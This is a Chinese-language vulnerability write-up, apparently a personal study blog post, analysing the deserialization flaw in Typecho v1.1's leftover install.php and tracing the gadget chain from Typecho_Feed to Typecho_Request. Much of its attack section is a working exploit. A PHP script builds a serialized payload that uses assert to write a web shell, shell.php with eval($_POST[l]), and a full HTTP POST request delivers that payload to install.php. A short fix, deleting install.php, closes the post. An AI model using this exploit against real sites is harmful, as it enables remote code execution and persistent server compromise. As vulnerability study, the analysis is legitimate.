前言
突然想起了这个漏洞,来分析一下漏洞利用链学习一下
漏洞原因:
程序安装后不会自动删除install.php,install.php中存在反序列化漏洞引发。
测试版本:v1.1-15.5.12-beta
漏洞分析
在install.php文件中搜索unserialize
就能直接找。
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
这里反序列化了Typecho_Cookie::get('__typecho_config')
的内容(base64编码的),跟进Typecho_Cookie的get方法:
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
这里可以通过cookie或者post的方式传入,传入反序列化的内容就可控了。
然后在下面的代码中刚才反序列化后的config变量作为参数传入了Typecho_Db类中,
$db = new Typecho_Db($config['adapter'], $config['prefix']);
跟进Typecho_Db类:
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
'Typecho_Db_Adapter_' . $adapterName;
这里字符串拼接变量,会触发__toString
魔术方法,搜索代码中的toSting函数,在\var\Typecho\Feed.php
中定义的__toString
方法中:
public function __toString()
{
......
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
......
$item['author']->screenName
这里如果$item['author']
是一个对象,且不存在screenName
属性时,会自动调用__get
魔法函数。
全局搜索__get
函数后在结果中跟进看一看,在/var/Typecho/Request.php
中的__get方法有如下代码,其调用了自己的get方法:
public function __get($key)
{
return $this->get($key);
}
get方法如下:
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
它会给$value
赋值,然后调用自己的_applyFilter
方法,跟进_applyFilter
方法
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
$filter, $value
都是可控的,可以利用array_map
或call_user_func
执行代码。
PS:在install.php中要满足如下的条件才会执行反序列化代码:
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
<?php if (isset($_GET['finish'])) : ?>
......
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<?php else : ?>
unserialize......
确保fisish,__typecho_config
有值就可以了,而且要设置referer。
构造payload
<?php
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
}
class Typecho_Request{
private $_params = array('screenName'=> 'file_put_contents(\'shell.php\', \'<?php @eval($_POST[l]);?>\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
?>
Attack
POST /typecho/install.php?finish=1 HTTP/1.1
Host: 127.0.0.1:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 519
Origin: http://127.0.0.1:8001
Connection: close
Referer: http://127.0.0.1:8001/typecho/install.php?finish=1
Cookie: PHPSESSID=nf3917m3bbml051b4d8up56qn4; __typecho_lang=zh_CN
Upgrade-Insecure-Requests: 1
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTk6ImZpbGVfcHV0X2NvbnRlbnRzKCdzaGVsbC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW2xdKTs%2FPicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9
其实已经执行成功了。
别忘了添加Referer
修复
删除install.php和install目录